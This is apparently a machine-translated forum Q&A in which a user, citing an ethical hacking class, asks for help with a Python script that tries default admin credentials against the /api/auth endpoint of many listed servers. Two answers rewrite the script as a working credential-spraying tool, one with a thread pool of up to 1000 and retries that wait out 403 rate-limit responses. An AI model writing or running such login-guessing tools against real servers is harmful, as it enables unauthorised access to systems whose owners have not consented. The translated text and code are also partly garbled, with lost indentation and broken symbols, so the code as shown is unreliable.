我正试图使用多处理为我的道德黑客类制作一个暴力工具,我希望它遍历服务器IP的列表,并尝试为每个IP登录一次,但它在尝试建立连接之前打印每个IP,然后在打印完所有IP后,它将开始尝试建立连接,然后打印几个IP,然后尝试建立另一个连接,依此类推。
我只想让它遍历IP列表,尝试连接到每个IP,每个连接一个进程,一次尝试大约20个进程
import threading, requests, time, os, multiprocessing
global count2
login_list=[{"username":"admin","password":"Password1"}]
with open('Servers.txt') as f:
lines = [line.rstrip() for line in f]
count=[]
for number in range(len(lines)):
count.append(number)
count2 = count
def login(n):
try:
url = 'http://'+lines[n]+'/api/auth'
print(url)
if '/#!/init/admin' in url:
print('[~] Admin panel detected, saving url and moving to next...')
x = requests.post(url, json = login_list)
if x.status_code == 422:
print('[-] Failed to connect, trying again...')
print(n)
if x.status_code == 403:
print('[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying again in 20 seconds')
time.sleep(20)
print(n)
if x.status_code == 200:
print('n[~] Connection successful! Login to '+url+' saved.n')
print(n)
except:
print('[#] No more logins to try for '+url+' moving to next server...')
print('--------------')
if __name__ == "__main__":
# creating a pool object
p = multiprocessing.Pool()
# map list to target function
result = p.map(login, count2)
Server.txt文件示例:
83.88.223.86:9000
75.37.144.153:9000
138.244.6.184:9000
34.228.116.82:9000
125.209.107.178:9000
33.9.12.53:9000
那些不是真正的IP地址
我认为您对子流程映射函数如何将值传递给相关流程感到困惑。也许这会让事情变得更清楚:
from multiprocessing import Pool
import requests
import sys
from requests.exceptions import HTTPError, ConnectionError
IPLIST = ['83.88.223.86:9000',
'75.37.144.153:9000',
'138.244.6.184:9000',
'34.228.116.82:9000',
'125.209.107.178:9000',
'33.9.12.53:9000',
'www.google.com']
PARAMS = {'username': 'admin', 'password': 'passw0rd'}
def err(msg):
print(msg, file=sys.stderr)
def process(ip):
with requests.Session() as session:
url = f'http://{ip}/api/auth'
try:
(r := session.post(url, json=PARAMS, timeout=1)).raise_for_status()
except ConnectionError:
err(f'Unable to connect to {url}')
except HTTPError:
err(f'HTTP {r.status_code} for {url}')
except Exception as e:
err(f'Unexpected exception {e}')
def main():
with Pool() as pool:
pool.map(process, IPLIST)
if __name__ == '__main__':
main()
其他注意事项:您可能需要指定一个超时,否则由于默认重试,无法访问的地址将需要很长时间才能处理。查看异常处理。
我要提到的第一件事是,这是一项最适合多线程的工作,因为login
主要在等待网络请求完成,创建线程比创建进程效率高得多。事实上,你应该创建一个线程池,它的大小等于你将发布的URL的数量,最多可以达到1000(你不想创建这样大小的多处理池(。
其次,当您对辅助函数进行多处理或多线程处理时,本例中的login
正在处理传递给map
函数的可迭代的单个元素。我想你明白了。但是,不是将服务器列表传递给map
,而是传递一个数字列表(它们是索引(,然后login
使用该索引从lines
列表中获取信息。这是相当间接的。此外,构建索引列表的方式可以简化为一行:count2 = list(range(len(lines)))
,或者实际上只是count2 = range(len(lines))
(不需要列表(。
第三,在你的代码中,你说你正在重试某些错误,但实际上没有这样做的逻辑
import requests
from multiprocessing.pool import ThreadPool
from functools import partial
import time
# This must be a dict not a list:
login_params = {"username": "admin", "password": "Password1"}
with open('Servers.txt') as f:
servers = [line.rstrip() for line in f]
def login(session, server):
url = f'http://{server}/api/auth'
print(url)
if '/#!/init/admin' in url:
print(f'[~] Admin panel detected, saving {url} and moving to next...')
# To move on the next, you simply return
# because you are through with this URL:
return
try:
for retry_count in range(1, 4): # will retry up to 3 times certain errors:
r = session.post(url, json=login_params)
if retry_count == 3:
# This was the last try:
break
if r.status_code == 422:
print(f'[-] Failed to connect to {url}, trying again...')
elif r.status_code == 403:
print(f'[!] 403 Forbidden, "Access denied to resource", Possibly to many tries. Trying {url} again in 20 seconds')
time.sleep(20)
else:
break # not something we retry
r.raise_for_status() # test status code
except Exception as e:
print('Got exception: ', e)
else:
print(f'n[~] Connection successful! Login to {url} saved.n')
if __name__ == "__main__":
# creating a pool object
with ThreadPool(min(len(servers), 1000)) as pool,
requests.Session() as session:
# map will return list of None since `login` returns None implicitly:
pool.map(partial(login, session), servers)